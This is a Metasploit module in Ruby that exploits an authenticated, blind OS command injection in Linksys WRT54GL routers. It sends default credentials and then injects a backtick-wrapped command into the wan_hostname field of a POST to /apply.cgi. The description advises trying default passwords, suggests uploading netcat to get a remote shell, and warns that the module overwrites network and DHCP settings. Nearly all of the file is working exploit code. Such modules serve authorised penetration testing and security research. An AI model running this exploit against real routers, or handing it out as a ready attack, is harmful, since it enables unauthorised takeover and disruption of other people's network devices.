## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Linksys WRT54GL Remote Command Execution', 'Description' => %q{ Some Linksys Routers are vulnerable to OS Command injection. You will need credentials to the web interface to access the vulnerable part of the application. Default credentials are always a good starting point. admin/admin or admin and blank password could be a first try. Note: This is a blind OS command injection vulnerability. This means that you will not see any output of your command. Try a ping command to your local system and observe the packets with tcpdump (or equivalent) for a first test. Hint: To get a remote shell you could upload a netcat binary and exec it. WARNING: this module will overwrite network and DHCP configuration. }, 'Author' => [ 'Michael Messner ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'EDB', '24202' ], [ 'BID', '57459' ], [ 'OSVDB', '89421' ] ], 'DisclosureDate' => '2013-01-18' ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']), OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), OptString.new('HttpPassword', [ false, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) ] ) end # If the user configured LANIP, use it. Otherwise, use RHOST. # NB: This presumes a dotted quad ip address. def lan_ip if datastore['LANIP'].to_s.empty? datastore['RHOST'] else datastore['LANIP'] end end def run # setting up some basic variables uri = datastore['TARGETURI'] user = datastore['HttpUsername'] rhost = datastore['RHOST'] netmask = datastore['NETMASK'] routername = datastore['ROUTER_NAME'] wandomain = datastore['WAN_DOMAIN'] wanmtu = datastore['WAN_MTU'] ip = lan_ip.split('.') if datastore['HttpPassword'].nil? pass = '' else pass = datastore['HttpPassword'] end print_status("Trying to login with #{user} / #{pass}") begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'authorization' => basic_auth(user, pass) }) unless (res.is_a? Rex::Proto::Http::Response) vprint_error("#{rhost} not responding") return :abort end if (res.code == 404) print_error('Not Found page returned') return :abort end if [200, 301, 302].include?(res.code) print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") else print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") return :abort end rescue ::Rex::ConnectionError vprint_error("#{rhost} - Failed to connect to the web server") return :abort end cmd = datastore['CMD'] print_status('Sending remote command: ' + cmd) # cmd = Rex::Text.uri_encode(datastore['CMD']) # original Post Request: # data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&" # data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&" # data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&" # data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&" # data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&" # data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&" # data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&" # data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" vprint_status("using the following target URL: #{uri}") begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'authorization' => basic_auth(user, pass), # 'data' => data_cmd, 'vars_post' => { 'submit_button' => 'index', 'change_action' => '1', 'submit_type' => '1', 'action' => 'Apply', 'now_proto' => 'dhcp', 'daylight_time' => '1', 'lan_ipaddr' => '4', 'wait_time' => '0', 'need_reboot' => '0', 'ui_language' => 'de', 'wan_proto' => 'dhcp', 'router_name' => routername.to_s, 'wan_hostname' => "`#{cmd}`", 'wan_domain' => wandomain.to_s, 'mtu_enable' => '1', 'wan_mtu' => wanmtu.to_s, 'lan_ipaddr_0' => (ip[0]).to_s, 'lan_ipaddr_1' => (ip[1]).to_s, 'lan_ipaddr_2' => (ip[2]).to_s, 'lan_ipaddr_3' => (ip[3]).to_s, 'lan_netmask' => netmask.to_s, 'lan_proto' => 'dhcp', 'dhcp_check' => '1', 'dhcp_start' => '100', 'dhcp_num' => '50', 'dhcp_lease' => '0', 'wan_dns' => '4', 'wan_dns0_0' => '0', 'wan_dns0_1' => '0', 'wan_dns0_2' => '0', 'wan_dns0_3' => '0', 'wan_dns1_0' => '0', 'wan_dns1_1' => '0', 'wan_dns1_2' => '0', 'wan_dns1_3' => '0', 'wan_dns2_0' => '0', 'wan_dns2_1' => '0', 'wan_dns2_2' => '0', 'wan_dns2_3' => '0', 'wan_wins' => '4', 'wan_wins_0' => '0', 'wan_wins_1' => '0', 'wan_wins_2' => '0', 'wan_wins_3' => '0', 'time_zone' => '-08+1+1', '_daylight_time' => '1' } }) rescue ::Rex::ConnectionError vprint_error("#{rhost} - Failed to connect to the web server") return :abort end if res && (res.code == 200) print_status('Blind Exploitation - Response expected') else print_error("Blind Exploitation - Response don't expected") end print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed') print_status('Blind Exploitation - unknown Exploitation state') end end

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